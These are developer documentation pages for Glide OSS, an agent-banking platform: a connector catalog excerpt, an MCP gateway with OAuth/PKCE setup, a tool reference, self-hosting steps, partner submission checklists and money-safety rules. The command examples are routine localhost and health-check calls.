* **Egress hosts:** `api.paytrie.com`, `sandbox.paytrie.com`
* **AML posture:** `vendor-screened`
* **Source:** [`packages/connectors/paytrie/`](https://github.com/glide-co/glide-mono/tree/main/packages/connectors/paytrie/)
* **Compliance:** [`packages/connectors/paytrie/COMPLIANCE.md`](https://github.com/glide-co/glide-mono/blob/main/packages/connectors/paytrie/COMPLIANCE.md)
### privy
* **Display name:** Privy
* **Vendor:** privy
* **Trust tier:** `core`
* **Capabilities:** `auth`
* **Regions:** \*
* **Currencies:** \*
* **Egress hosts:** `auth.privy.io`, `api.privy.io`
* **Source:** [`packages/connectors/privy/`](https://github.com/glide-co/glide-mono/tree/main/packages/connectors/privy/)
* **Compliance:** [`packages/connectors/privy/COMPLIANCE.md`](https://github.com/glide-co/glide-mono/blob/main/packages/connectors/privy/COMPLIANCE.md)
### rpc-direct
* **Display name:** RPC Direct (zero-vendor balance fallback)
* **Vendor:** rpc-direct
* **Trust tier:** `core`
* **Capabilities:** `balance`
* **Regions:** \*
* **Currencies:** USDC, USDT, EURC, ETH, SOL, MATIC, BNB
* **Egress hosts:** *(none — no network access at runtime)*
* **Source:** [`packages/connectors/rpc-direct/`](https://github.com/glide-co/glide-mono/tree/main/packages/connectors/rpc-direct/)
* **Compliance:** [`packages/connectors/rpc-direct/COMPLIANCE.md`](https://github.com/glide-co/glide-mono/blob/main/packages/connectors/rpc-direct/COMPLIANCE.md)
### sanctions-permissive
* **Display name:** Sanctions screening DISABLED (permissive)
* **Vendor:** sanctions-permissive
* **Trust tier:** `community`
* **Capabilities:** `screening`
* **Regions:** \*
* **Currencies:** \*
* **Egress hosts:** *(none — no network access at runtime)*
* **AML posture:** `unscreened`
* **Source:** [`packages/connectors/sanctions-permissive/`](https://github.com/glide-co/glide-mono/tree/main/packages/connectors/sanctions-permissive/)
* **Compliance:** [`packages/connectors/sanctions-permissive/COMPLIANCE.md`](https://github.com/glide-co/glide-mono/blob/main/packages/connectors/sanctions-permissive/COMPLIANCE.md)
### wirex
* **Display name:** Wirex
* **Vendor:** wirex
* **Trust tier:** `core`
* **Capabilities:** `card`, `kyc`
* **Regions:** EU, GB
* **Currencies:** EUR, GBP, USDC
* **Egress hosts:** `api.wirexapp.com`, `api.wirextest.com`
* **AML posture:** `vendor-screened`
* **Source:** [`packages/connectors/wirex/`](https://github.com/glide-co/glide-mono/tree/main/packages/connectors/wirex/)
* **Compliance:** [`packages/connectors/wirex/COMPLIANCE.md`](https://github.com/glide-co/glide-mono/blob/main/packages/connectors/wirex/COMPLIANCE.md)
# Agent platform
Source: https://glide-9da73dea.mintlify.app/oss/headless/index
Banking For Your Agents — the operating account Claude, ChatGPT, Vertex, OpenClaw, and Hermes agents use to move real money, scoped by a multisig-governed envelope the principal controls.
**Banking For Your Agents** — the operating account Claude, ChatGPT, Vertex, OpenClaw, Hermes, and any other MCP-capable agent runtime uses to move real money, scoped by a multisig-governed envelope the principal controls.
This directory holds the dev-facing documentation for the Glide Agent Platform. The hosted instance lives at [glide.co/docs/agents](https://glide.co/docs/agents); **self-hosters: see [`SELF_HOSTING.md`](/oss/headless/self-hosting) in this directory** for the OSS-shape deploy guide.
> The examples below reference Glide-Cloud URLs (`auth.glide.co`, `mcp.glide.co`). For self-host, substitute `auth.` and `mcp.` — the OAuth + MCP contracts are identical.
## Quickstart
1. **Register an MCP client.** Dynamic Client Registration (RFC 7591) at `https://auth.glide.co/oauth2/register`. You get back a `client_id` + `client_secret`.
2. **OAuth authorize flow.** Redirect the user to `https://auth.glide.co/oauth2/authorize` with `response_type=code`, `client_id`, `redirect_uri`, `code_challenge` (S256), `scope`, and `resource=urn:glide:vault:` (RFC 8707 resource indicator). On approval you get an `authorization_code`; exchange for a bearer grant at `/oauth2/token`.
3. **Call MCP tools.** Three endpoints under `https://mcp.glide.co`:
* `/mcp/read` — accounts, balances, transactions, agents, skills, audit stream
* `/mcp/write` — payments, cards, transfers, beneficiaries, x402
* `/mcp/treasury` — grant issuance, signer rotation, yield allocation, kill-switch
4. **Handle step-up.** Write tools that cross the policy envelope return JSON-RPC `-32003` with a `step_up_url`. Surface that URL; the user biometric-approves on the Glide web sheet; follow the per-tool approval flow. Only tools whose input schema includes `step_up_sigil` accept it on a repeat call.
## Authentication
### Grant shape
Grants are JWTs with the following claims:
| Claim | Meaning |
| --------------------- | -------------------------------------------------- |
| `sub` | Principal user ID (the human) |
| `act.sub` | Agent principal ID (the acting agent) |
| `azp` | Authorized party (your registered MCP `client_id`) |
| `aud.vault_id` | Scoped resource vault |
| `aud.entity_id` | Scoped resource entity |
| `scope` | Closed-vocab scopes (see below) |
| `policy_version` | Envelope version at grant issue time |
| `iat` / `nbf` / `exp` | Max TTL 60 minutes |
| `jti` | Server-side grant ID (for revocation) |
### Scopes (closed vocabulary)
```
accounts:read
agents:read
payments:initiate
payments:simulate
cards:manage
agent:budget:create
agent:budget:revoke
beneficiary:write
x402:pay
x402:receive
audit:stream
treasury:rotate-signer
treasury:yield-allocate
```
New scopes require a schema migration — no free-text scope extension.
## Tool reference
See [tool-reference.md](/oss/headless/tool-reference) for per-tool input/output schemas + annotations.
## Error taxonomy
JSON-RPC error codes emitted by the gateway:
| Code | Name | Meaning |
| -------- | ------------------- | ------------------------------------------------ |
| `-32602` | `InvalidParams` | Shape / zod validation / input mismatch |
| `-32000` | `Unauthenticated` | Grant invalid / revoked / expired |
| `-32001` | `Unauthorized` | Scope / audience / tenant mismatch |
| `-32002` | `PolicyDenied` | Envelope violation (axis + reason\_id in `data`) |
| `-32003` | `StepUpRequired` | User approval needed (`step_up_url` in `data`) |
| `-32004` | `RateLimited` | Retry after `retry_after_seconds` |
| `-32005` | `VaultContention` | Transient; safe to retry |
| `-32006` | `VendorUnavailable` | Upstream dep (Privy, Bridge, RPC, V2/V3 roadmap) |
| `-32603` | `InternalError` | Correlation ID surfaced; report to support |
## Rate limits
Per-tenant, per-client, per-category buckets:
* `read`: 300 req/min, 1.5× burst → effective 450/min
* `write`: 60 req/min, 1.5× burst → effective 90/min
* `treasury`: 10 req/min, 1.2× burst → effective 12/min
`429` response includes `retry_after_seconds`.
## Idempotency
Tools whose metadata requires an idempotency key accept `params.idempotency_key` (min 8 chars, max 128). Server caches `(key, result)` for 24 hours keyed on `(agent_principal_id, idempotency_key)`. Replays return the cached response without re-executing.
## SDK examples
See [API clients](/agents/api/_clients) for the TypeScript and Python reference wrappers.
## What's deferred
* AP2 Payment Mandate (v1.5)
* DPoP / mTLS sender-constrained tokens (v1.5)
* DID-based agent identity (v2)
* GNAP grant issuance (v2)
* Full BaaS REST platform (V5 Bucket 6.1)
See PLAN.md §"NOT in scope" for the full deferred list.
# OAuth flow
Source: https://glide-9da73dea.mintlify.app/oss/headless/oauth-flow
End-to-end authorization_code + PKCE flow for MCP clients. RFC 7591 dynamic client registration, RFC 8707 resource-indicator-bound tokens, RFC 9728 discovery.
End-to-end authorization\_code + PKCE flow for MCP clients.
## 1. Dynamic Client Registration
```
POST https://auth.glide.co/oauth2/register
Content-Type: application/json
{
"client_name": "My Agent Runtime",
"redirect_uris": ["https://my-runtime.example/oauth/callback"],
"grant_types": ["authorization_code", "refresh_token"],
"response_types": ["code"],
"token_endpoint_auth_method": "client_secret_post",
"scope": "accounts:read payments:initiate payments:simulate audit:stream"
}
```
Response:
```json theme={null}
{
"client_id": "client-01H...",
"client_secret": "sk_live_...",
"client_id_issued_at": 1714...,
"redirect_uris": ["https://my-runtime.example/oauth/callback"]
}
```
## 2. Authorize (end-user redirect)
```
GET https://auth.glide.co/oauth2/authorize
?response_type=code
&client_id=client-01H...
&redirect_uri=https://my-runtime.example/oauth/callback
&code_challenge=
&code_challenge_method=S256
&scope=accounts:read payments:initiate
&resource=urn:glide:vault:abc-123
&state=
```
The user lands on the Glide step-up sheet, authenticates via Privy (Face-ID + email OTP as needed), and authorizes the requested scope+resource binding. Glide redirects back with `?code=...&state=...`.
## 3. Token exchange
```
POST https://auth.glide.co/oauth2/token
Content-Type: application/x-www-form-urlencoded
grant_type=authorization_code
&code=
&redirect_uri=https://my-runtime.example/oauth/callback
&client_id=client-01H...
&client_secret=sk_live_...
&code_verifier=
```
Response:
```json theme={null}
{
"access_token": "",
"token_type": "Bearer",
"expires_in": 3600,
"refresh_token": "...",
"scope": "accounts:read payments:initiate",
"jti": "grant-01H..."
}
```
## 4. Call MCP tools
```
POST https://mcp.glide.co/write
Authorization: Bearer
Content-Type: application/json
{"jsonrpc":"2.0","id":1,"method":"tools/call","params":{
"name":"payments.initiate",
"arguments":{
"counterparty":{"address":"0xabc","chain":"eth","token":"USDC"},
"amount_cents":10000,"currency":"USDC",
"idempotency_key":"idem-001"
}
}}
```
## 5. Refresh
```
POST https://auth.glide.co/oauth2/token
grant_type=refresh_token&refresh_token=&client_id=...&client_secret=...
```
Refreshing issues a new access token; the old grant's `jti` is superseded. Clients MUST track only the latest `jti` for revocation.
## Revocation
Tokens are revoked by the user at `app.glide.co/dashboard/agents/:id` or by the agent itself via `agent.grant.issue` (which supersedes the prior grant) / `killSwitch.all` (global revoke).
Grant-wrapper fresh-reads the `revoked_at` column on every tool call — revocation is MCP-inert within 3s P99.
# Partner registry submissions
Source: https://glide-9da73dea.mintlify.app/oss/headless/partner-registries
Submission checklist for Anthropic Connector Marketplace, ChatGPT Apps, Google Vertex, OpenClaw, Hermes. Tracks the pre-submit checklist that a human operator works through once the infra is green.
Submissions require registered OAuth clients + live `mcp.glide.co` + approved icons — none of which the CI can emit by itself. This file tracks the submission checklist that a human operator works through once the infra is green.
## P6.1 — Anthropic Claude Desktop Connector Marketplace
**Artifact:** `docs/designs/agent-distribution-partner-packs/anthropic/connector-manifest.json`
**Pre-submit checklist:**
* [ ] `NEXT_PUBLIC_PRIVY_APP_ID` + Privy programmable signing policy live on prod.
* [ ] `mcp.glide.co/healthz` passes, and authenticated tool calls succeed at `/mcp/read`, `/mcp/write` and `/mcp/treasury` with appropriate scopes.
* [ ] `auth.glide.co/.well-known/oauth-authorization-server` serves metadata.
* [ ] Icon uploaded at `glide.co/brand/glide-connector-icon-1024.png`.
* [ ] At least one internal smoke test: Claude Desktop → authorize → trip-budget skill end-to-end.
* [ ] Content-policy attestations reviewed by legal.
**Submit via:** Anthropic Partner Portal ([https://console.anthropic.com/partners](https://console.anthropic.com/partners)).
**Review cadence:** \~1-2 weeks initial. Rejection paths documented at [Anthropic Connector Docs](https://docs.anthropic.com/claude/docs/connectors).
## P6.2 — OpenAI ChatGPT Apps SDK
**Artifact:** `docs/designs/agent-distribution-partner-packs/openai/plugin-manifest.json`
**Pre-submit checklist:**
* [ ] Same infra as Anthropic (Privy, MCP, OAuth AS).
* [ ] Verification token obtained from OpenAI dashboard.
* [ ] OpenAPI spec auto-generated from MCP tool catalog (see Phase 6 P6.4 CI).
* [ ] Icon at `glide.co/brand/glide-chatgpt-icon-1024.png`.
* [ ] At least one internal smoke test: ChatGPT Apps → authorize → trip-budget end-to-end.
**Submit via:** OpenAI Apps SDK submission form.
## P6.3 — Google Vertex AI Agent Builder
**Artifact:** `docs/designs/agent-distribution-partner-packs/google-vertex/agent-tool.json`
**Pre-submit checklist:**
* [ ] Same infra as above.
* [ ] Service-account role `roles/vertex-ai.agent-tool-consumer` published.
* [ ] VPC Service Controls compatibility tested with one design-partner tenant.
* [ ] SOC 2 Type II attestation status documented (in progress at submission time is fine).
**Submit via:** Google Cloud Marketplace partner portal.
## Tracking
Each submission's status is tracked in `~/.gstack/projects/darshanbathija-axtior-neobank/ceo-plans/2026-04-24-glide-headless-agentic-banking.md` under the "distribution" section. Update after every review cycle.
## Rollback
Per PLAN.md §"Rollback posture": if any registry flags Glide for policy violation, remove the manifest from registry + disable that OAuth client. Takes effect within each registry's cache TTL (Anthropic \~1h, OpenAI \~30min, Vertex \~15min).
# Agent platform quickstart
Source: https://glide-9da73dea.mintlify.app/oss/headless/quickstart
Spin up apps/mcp locally + connect Claude Desktop / ChatGPT / Vertex / OpenClaw / Hermes. The 30-minute path to a working agent banking environment.
This is the agent-platform-specific quickstart. For the broader Glide bring-up (web app + data layer), see the [main quickstart](/oss/quickstart).
## Prerequisites
* Glide running locally per the [main quickstart](/oss/quickstart) (Postgres on `localhost:5435`, Redis on `localhost:6381`, Inngest dev on `localhost:8288`, web on `localhost:3000`).
* Privy Multi-tenant tenant with `NEXT_PUBLIC_PRIVY_APP_ID` + `PRIVY_APP_SECRET` set.
* Node 22+, pnpm.
## Boot `apps/mcp`
```bash theme={null}
# In the axtior-neobank repo
pnpm --filter mcp dev
```
This boots the MCP gateway on `localhost:8787` with HMAC-SHA256 dev verifier. The dev secret is read from `MCP_TOKEN_VERIFIER_DEV_SECRET` in your `.env.local`.
Set a 32-byte hex secret if you haven't already:
```bash theme={null}
echo "MCP_TOKEN_VERIFIER_DEV_SECRET=$(openssl rand -hex 32)" >> apps/web/.env.local
```
## Sanity-check the gateway
```bash Public manifest (no auth) theme={null}
curl http://localhost:8787/mcp/manifest
```
```bash Tool catalog discovery (no auth, MCP spec) theme={null}
curl -X POST http://localhost:8787/mcp/read \
-H 'content-type: application/json' \
-d '{"jsonrpc":"2.0","id":1,"method":"tools/list"}'
```
```bash Health probes theme={null}
curl http://localhost:8787/healthz
curl http://localhost:8787/readyz
```
## Connect an agent runtime
The MCP gateway speaks MCP spec 2025-11-25. Any MCP-compliant runtime works. Glide ships partner pack drafts for the five hero runtimes — see [Partner registries](/oss/headless/partner-registries).
### Claude Desktop
Add to your `claude_desktop_config.json`:
```json theme={null}
{
"mcpServers": {
"glide-local": {
"url": "http://localhost:8787/mcp/read",
"headers": {
"Authorization": "Bearer "
}
}
}
}
```
For local dev, generate an HMAC-signed JWT against your dev secret. For production, you'd issue this through your Ory Hydra deployment per the [OAuth flow](/oss/headless/oauth-flow).
### ChatGPT Apps
Submit through the [Partner registry submission flow](/oss/headless/partner-registries) once you've stood up `auth.` + verified `mcp.`.
### Google Vertex / OpenClaw / Hermes
Same submission flow. Each pack has a `connector-manifest.json` template at `docs/designs/agent-distribution-partner-packs//`.
## Three confused-deputy-isolated endpoints
| Endpoint | Tools | Trust scope |
| --------------- | ---------------------------------------------------------------------------- | ------------------------------ |
| `/mcp/read` | accounts, balances, transactions, agents, skills, audit stream, x402 receive | Read-only — no money movement |
| `/mcp/write` | payments, cards, transfers, beneficiaries, x402 pay | Money-touching; envelope-bound |
| `/mcp/treasury` | grant issuance, signer rotation, yield allocation, kill-switch | Admin-only; principal explicit |
**Confused-deputy guard:** a `read` token cannot call `write` or `treasury` tools. The check fires BEFORE auth so a sniffed token from one endpoint can't probe the others.
## Step-up via URL-mode elicitation
Tools that cross the policy envelope return JSON-RPC `-32003` with a `step_up_url`. The client surfaces that URL; the principal biometric-approves on the Glide web sheet at `localhost:3000/step-up/[sigil]`; the client follows the tool-specific approval flow. Only input schemas that include `step_up_sigil` accept it on a repeat call.
Sigils are CAS-claimed first-use-only (F7 IRON RULE).
## Where to next
* [OAuth flow](/oss/headless/oauth-flow) — full RFC 7591 + 8707 + PKCE walk-through for production.
* [Tool reference](/oss/headless/tool-reference) — every tool's input + output schema.
* [Self-hosting the agent platform](/oss/headless/self-hosting) — Ory Hydra deploy + production posture.
* [Money-safety contracts](/oss/concepts/money-safety-contracts) — the F-rules every tool path observes.
# Self-hosting the agent platform
Source: https://glide-9da73dea.mintlify.app/oss/headless/self-hosting
Operator guide for running apps/mcp + the Headless agent stack on your own infrastructure. OAuth AS adapter choice (Ory vs external BYO), money-safety F-rules, agent-skill install saga.
This guide covers running `apps/mcp` + the Headless agent stack on your own infrastructure. It supplements the top-level [`docs/SELF_HOSTING.md`](/oss/self-hosting), which covers the rest of the orchestration shell.
## What you're standing up
| Service | Role | Required? |
| --------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------- | --------- |
| `apps/mcp` (this repo) | MCP gateway: `/mcp/read`, `/mcp/write`, `/mcp/treasury` + `tools/list` discovery + `tools/call` invocation | yes |
| `auth.` (Ory or BYO) | OAuth Authorization Server — RFC 7591 dynamic client registration, RFC 8707 resource-indicator-bound tokens | yes |
| `apps/web` (this repo) | Origin app for the agent-skill consent flow + tenant DB host | yes |
| Postgres 16+ | Per-tenant DB. Migrations 0039–0044 add the agent tables | yes |
| Upstash Redis (or self-run) | Token-bucket rate-limit + step-up nonce store. Free tier sufficient for low-traffic prod; the project ships against the Vercel-Upstash integration | yes |
## OAuth Authorization Server adapter
OSS supports two adapter shapes per the Cathedral plan §M2.5:
### Option A — Ory Hydra
Run a managed Ory Hydra instance with Postgres backend. Configure Privy as the upstream IDP (Ory delegates user auth to Privy and issues OAuth grants on top).
**Pros:** RFC 7591 + RFC 8707 + RFC 9728 all native. Audit trail. Separate failure domain from `apps/web`.
**Cons:** Operational cost (Ory Enterprise is paid; Ory Cloud free tier is rate-limited).
### Option B — External BYO
Bring any RFC 9728-compliant OAuth AS — Auth0, Keycloak, Okta, etc. — and point `apps/mcp` at its discovery endpoint via `AUTH_SERVER_PROVIDER=external` + `OAUTH_AS_DISCOVERY_URL`.
**Pros:** Use the IdP your org already pays for.
**Cons:** Self-host responsibility for RFC 7591 dynamic client registration if your AS doesn't support it natively.
> **Glide does NOT ship a custom in-house OAuth AS in OSS.** Per the plan §M2.5 Codex review fix #2, shipping a minimal in-house AS for a banking/MCP platform is security-critical surface a solo team should refuse to own.
## Apps/MCP transport
The MCP server uses a hand-rolled JSON-RPC envelope (NOT `@modelcontextprotocol/sdk` — the SDK's HTTP transport is in flux per spec revision 2025-11-25). The wire format is pinned to MCP spec 2025-11-25.
Endpoints:
* `POST /mcp/read` — read-only tool calls (accounts, balances, transactions, agents, skills, audit stream)
* `POST /mcp/write` — write tool calls (payments, cards, transfers, beneficiaries, x402)
* `POST /mcp/treasury` — treasury tool calls (grant issuance, signer rotation, yield allocation, kill-switch)
* `GET /mcp/manifest` — public capability discovery (no auth)
* `POST /mcp/{endpoint}` with `tools/list` — public catalog discovery (no auth, per MCP spec)
* `GET /healthz`, `GET /readyz` — ops probes (no auth)
**Confused-deputy guard:** a `read` token cannot call `write` or `treasury` tools, and vice versa. The check fires BEFORE auth so a sniffed token from one endpoint can't probe the others.
**Auth:**
* `dev` — `MCP_TOKEN_VERIFIER_DEV_SECRET` HMAC-SHA256 (set this in `.env.local`).
* `prod` — Ory Hydra JWKS via `jose`. Set `AUTH_SERVER_PROVIDER=ory` + `OAUTH_AS_JWKS_URL=https://auth./.well-known/jwks.json`.
## Money-safety contracts (preserve in self-host)
The Headless platform encodes six "IRON RULE" money-safety contracts that EVERY money-touching tool path observes. Per the M2.5 plan, these are the named contracts that gate all agent activity:
* **F1 — Server-side RPC verify.** `x402.pay` persists `on_chain_tx` + amount from `serverFetchChainTx` (RPC), NEVER from facilitator receipt.
* **F2 — CAS-claim before broadcast.** `agent_pending_payments` rows are claimed via `UPDATE ... WHERE status='pending' AND claimed_at IS NULL RETURNING id`.
* **F3 — Fresh-read tenant verification.** `@repo/grant-wrapper` re-reads tenant from DB on every tool invocation; cached grant alone never authorizes.
* **F4 — Append-only trigger on `activity_log`.** UPDATE/DELETE/TRUNCATE rejected unless `app.dsar_context_id` session var is set (admin DSAR path only).
* **F5 — Atomic policy\_version bump on signer rotation.** `vault.rotateSigner` advances `policy_version` in the same transaction as the on-chain rotation.
* **F7 — Sigil first-use-only.** URL-mode elicitation sigils are CAS-claimed on first use; race losers reject.
(F6 reserved; not assigned in PR153.)
If you fork `apps/mcp` and remove any of these, **you accept full responsibility for the money-safety posture** of the resulting deployment. They are not optional.
## Agent-skill install saga
When a user installs an agent skill, the saga runs through these states:
```
STARTED → ENTITY_PICKED → POLICY_CONFIGURED → PARTNER_OAUTH_BOUND
→ PRIVY_POLICY_INSTALLED → SUB_VAULT_CREATED → GRANT_ISSUED → COMPLETE
```
A reaper job runs every 10 minutes (an Inngest cron in `apps/web/src/inngest/functions/`) and rolls back partial installs older than 30 minutes. **The reaper is not optional** — without it, a worker crash mid-saga leaves the user with a partial install + a Privy policy on the wrong vault. Self-hosters who skip the reaper see this in production.
## Branch A' policy enforcement (per Privy spike)
Per `docs/designs/privy-policy-spike.md` (the Headless v1 Privy spike result):
* **EVM:** `per_tx_max`, `counterparty_allowlist`, `time_window`, `daily_cap`, `velocity_caps` all enforce on Privy programmable signing policy NATIVELY.
* **Solana:** `per_tx_max`, `counterparty_allowlist`, `time_window` enforce natively. Stateful aggregation (`daily_cap`, `velocity_caps`) lives in the router Redis layer.
Self-hosted policy engine MUST support BOTH paths. `@repo/policy-engine` already does — see the `evaluate()` contract tests for the split.
## Deployment patterns
### Pattern 1 — Single Vercel project (small operators)
`apps/web` and `apps/mcp` share a Vercel project. The MCP routes mount under `/api/mcp/*`. Simpler, but you cannot scale the two services independently.
### Pattern 2 — Separate Vercel project for `apps/mcp` (recommended)
`apps/web` ships at `glide.example.com`. `apps/mcp` ships at `mcp.glide.example.com` as its own Vercel project. Auto-deploy from the same monorepo, but with the project's `Root Directory` set to `apps/mcp`.
### Pattern 3 — Fly.io for `apps/mcp`
For operators who want region pinning. `fly launch` from `apps/mcp/`, set the env above, deploy. Postgres + Upstash stay wherever you have them.
## Testing your deployment
Once `apps/mcp` is live, sanity-check with `curl`:
```bash theme={null}
# 1. Public manifest (no auth)
curl https://mcp.glide.example.com/mcp/manifest
# 2. Tool catalog discovery (no auth, MCP spec)
curl -X POST https://mcp.glide.example.com/mcp/read \
-H 'content-type: application/json' \
-d '{"jsonrpc":"2.0","id":1,"method":"tools/list"}'
# 3. Health probes
curl https://mcp.glide.example.com/healthz
curl https://mcp.glide.example.com/readyz
```
For end-to-end (with a real Privy-issued JWT):
1. Register an OAuth client at `auth.glide.example.com/oauth2/register` (RFC 7591).
2. Walk the authorization\_code + PKCE flow per [`oauth-flow.md`](/oss/headless/oauth-flow).
3. Call a tool with the bearer grant; expect a JSON-RPC response.
## Included source surfaces
* The admin activity view is at `apps/web/src/app/(admin)/admin/agents/activity/`.
* The skill catalog is at `apps/web/src/app/(public)/skills/`.
* The `glide partner submit` command is implemented in `packages/cli/src/commands/partner-submit.ts`.
Runtime provider configuration and repository access are separate requirements. A source implementation does not prove that a hosted integration is available to your account.
## Where to file issues
* Agent-platform bugs: GitHub issues with the `agent-platform` label.
* OSS deploy questions: `docs/SELF_HOSTING.md` covers general self-host; this file is the agent-specific addendum.
* Security vulnerabilities: `security@axtior.com` per `SECURITY.md`.
# Tool reference
Source: https://glide-9da73dea.mintlify.app/oss/headless/tool-reference
Every MCP tool exposed by apps/mcp — read, write, treasury endpoints. Input schemas, output schemas, money-safety F-rule contract.
All 22 tools at MCP v1 GA. Each handler lives in `apps/mcp/src/tools/.ts`.
Format per tool: `name · scope · category · annotations`. Full input/output schemas in the source file.
## Write tools (`/mcp/write` endpoint, 60 req/min cap)
| Tool | Scope | Annotations |
| ------------------- | ------------------- | ---------------------------------------------------------------------- |
| `payments.initiate` | `payments:initiate` | destructive · idempotent · requires human approval (step-up threshold) |
| `cards.issue` | `cards:manage` | idempotent |
| `cards.freeze` | `cards:manage` | idempotent (already\_frozen is no-op) |
| `beneficiary.add` | `beneficiary:write` | requires human approval (principal multisig-proposal gate) |
| `transfer.schedule` | `payments:initiate` | idempotent · policy re-eval at execute time |
| `payroll.run` | `payments:initiate` | destructive · requires human approval · V2-dep-flagged |
| `x402.pay` | `x402:pay` | destructive · idempotent · F1 server-fetch tx verify |
## Read tools (`/mcp/read` endpoint, 300 req/min cap)
| Tool | Scope |
| ------------------- | ---------------------------------------------------------- |
| `accounts.list` | `accounts:read` |
| `accounts.balance` | `accounts:read` |
| `transactions.list` | `accounts:read` |
| `agents.list` | `agents:read` |
| `skills.list` | `agents:read` |
| `audit.stream` | `audit:stream` (mints SSE cursor — `idempotentHint=false`) |
\| `payments.simulate` | `payments:simulate` |
\| `x402.receive` | `x402:receive` |
## Treasury tools (`/mcp/treasury` endpoint, 10 req/min cap)
| Tool | Scope | Notes |
| --------------------- | ------------------------- | ---------------------------------------------------------- |
| `agent.budget.create` | `agent:budget:create` | saga with 4-step rollback; requires human approval |
| `agent.budget.revoke` | `agent:budget:revoke` | destructive · auto-sweep on by default |
| `agent.grant.refresh` | `agent:budget:create` | Refresh a grant when policy is unchanged or narrowed |
| `agent.grant.issue` | `agent:budget:create` | step-up required; refuses scope escalation |
| `vault.rotateSigner` | `treasury:rotate-signer` | step-up required; bumps policy\_version |
| `yield.allocate` | `treasury:yield-allocate` | V3-dep-flagged; envelope step-up respected |
| `killSwitch.all` | `agent:budget:revoke` | destructive · emergency · `confirm_scope` literal required |
## Step-up flow (shared)
Write/treasury tools over the envelope return JSON-RPC `-32003` with:
```json theme={null}
{
"code": -32003,
"message": "amount 60000 requires step-up approval",
"data": {
"reason_id": "step_up_required",
"step_up_url": "https://app.glide.co/step-up/"
}
}
```
Surface the URL to the user. They biometric-approve on the Glide sheet. Follow the tool-specific flow. Only tools whose input schema includes `step_up_sigil` accept it on a repeat call; `payments.initiate` continues through the approval URL for its existing action. CAS-claim guarantees first-use-only; a 5-minute grace window returns the same payload to benign polls (prevents re-asking on network retry).
## Annotations honored by MCP clients
Per MCP 2025-11-25 spec:
* `readOnlyHint`: no side effects.
* `destructiveHint`: cannot be undone by the tool itself.
* `idempotentHint`: safe to retry with same params.
* `openWorldHint`: interacts with external systems (x402.pay, facilitators).
Glide extension:
* `requiresHumanApproval`: client SHOULD surface the step-up flow to the user even before calling.
Official Glide clients (Claude Desktop, ChatGPT Apps, Vertex) verify emitted annotations match the client-side registry; mismatch = refuse to execute. Custom runtimes that bypass this client-side check are still caught by the server-side annotation check on each call.
# Glide OSS
Source: https://glide-9da73dea.mintlify.app/oss/index
MIT-licensed orchestration shell for stablecoin neobank rails + agent banking. Self-host the code; bring your own vendors; contribute connectors and skills.
Source-repository links require access to the private `glide-co/glide-mono` repository. Request access from Glide if a source link is unavailable.
Glide OSS is the open-source orchestration shell behind [glide.co](https://glide.co) — an MIT-licensed full-stack codebase covering the web app, mobile app, MCP gateway, agent skills library, and trust console. Self-hosters bring their own vendor relationships (Privy, Bridge, Chainalysis, Coinbase x402, etc.); the code orchestrates them.
This is **not** a fully self-hostable bank stack. It is a self-hostable orchestration shell with explicit vendor dependencies. The honest framing matters because calling OSS a "money OS" without the vendor-dependency layer creates trust debt.
## What you can do with Glide OSS
Run your own Glide instance. Bring your own Privy tenant, Bridge contract, optional Chainalysis. npx create-glide-app to start a local instance.
Add a vendor adapter to the catalog. Manifest + capability impls + contract tests + 8-gate CI.
Package an MCP-callable agent capability. Manifest + policy template + consent flow + Trusted Skill Agreement at verified tier.
Public v1 schemas for connector manifests, agent policy envelopes, scoped grant claims, receipts, skill manifests, trust tiers.
## Architecture at a glance
What's actually OSS vs what's a vendor dependency.
100% code parity target with explicit exceptions table.
F1–F7 architectural commitments enforced at every money-touching path.
The agent gateway: apps/mcp with 22 tools, OAuth 2.1, policy engine, append-only audit log.
## License + governance
* **MIT everywhere.** Web, mobile, MCP, every connector, every skill, the CLI. No copyleft anywhere in-tree.
* **DCO sign-off** on every commit (one-line Signed-off-by trailer, `git commit --signoff`).
* **BDFL at launch.** Single maintainer. Governance formalizes when community volume requires it.
* **CODEOWNERS-protected** changes for `_base/` interfaces, trust tier promotions, and money-safety architecture.
See [License compatibility](/oss/security/license-compatibility) for the dependency-license matrix.
## Trust tiers (quality, not licensing)
| Tier | When | Off by default? |
| ----------- | ----------------------------------------------------------- | --------------------------------- |
| `community` | Any first PR | Yes — opt-in via env + red banner |
| `verified` | Signed Trusted Partner / Skill Agreement + checklist review | No — per-tenant opt-in |
| `core` | Glide-maintained reference implementations | No — ships enabled |
Trust is **about code-review discipline**, not commercial gating. Every package ships under MIT regardless of tier. See [Trust tier](/oss/standards/trust-tier).
## Money-safety F-rules
Every money-touching tool path observes six named money-safety contracts:
| Rule | What it enforces |
| ------ | -------------------------------------------------------------------------------------------------------- |
| **F1** | Server-side RPC verify of on-chain settlement. Persisted hash from RPC, never from facilitator receipt. |
| **F2** | CAS-claim before broadcast. Inngest re-fires never double-broadcast. |
| **F3** | Fresh-read tenant verification on every tool invocation. Cached grant alone never authorizes. |
| **F4** | Append-only audit log via Postgres trigger. UPDATE/DELETE rejected unless DSAR session var set. |
| **F5** | Atomic policy\_version bump on signer rotation. No in-flight tool call signs against rotated-out signer. |
| **F7** | Sigil first-use-only for URL-mode step-up. CAS-claimed; race losers reject. |
(F6 reserved.) Detail at [Money-safety contracts](/oss/concepts/money-safety-contracts).
## Where to start
* **Self-hoster** → [Quickstart](/oss/quickstart) → [Self-hosting](/oss/self-hosting)
* **Connector author** → [Connector catalog](/oss/connectors/index) → [Adding a connector](/oss/connectors/extending)
* **Skill author** → [Skill catalog](/oss/skills/index) → [Authoring a skill](/oss/skills/authoring)
* **Agent integrator** → [Headless MCP](/oss/headless/index) → [OAuth flow](/oss/headless/oauth-flow) → [Tool reference](/oss/headless/tool-reference)
* **Standards reader** → [Standards](/oss/standards/index)
* **Security reviewer** → [Threat model](/oss/security/threat-model) → [License compatibility](/oss/security/license-compatibility)
## Source code
[github.com/darshanbathija/axtior-neobank](https://github.com/darshanbathija/axtior-neobank) — the monorepo. Issues, PRs, discussions all there. CONTRIBUTING.md has the full partner-PR flow.
# OSS Legal
Source: https://glide-9da73dea.mintlify.app/oss/legal/index
Vendor postures and agreement templates for Glide OSS. TPA and TSA describe use-based consent.
These pages collect vendor notices and agreement templates for Glide OSS. Use the canonical source files when reviewing an agreement. Internal automated review scores are not legal approval or evidence of regulatory compliance.
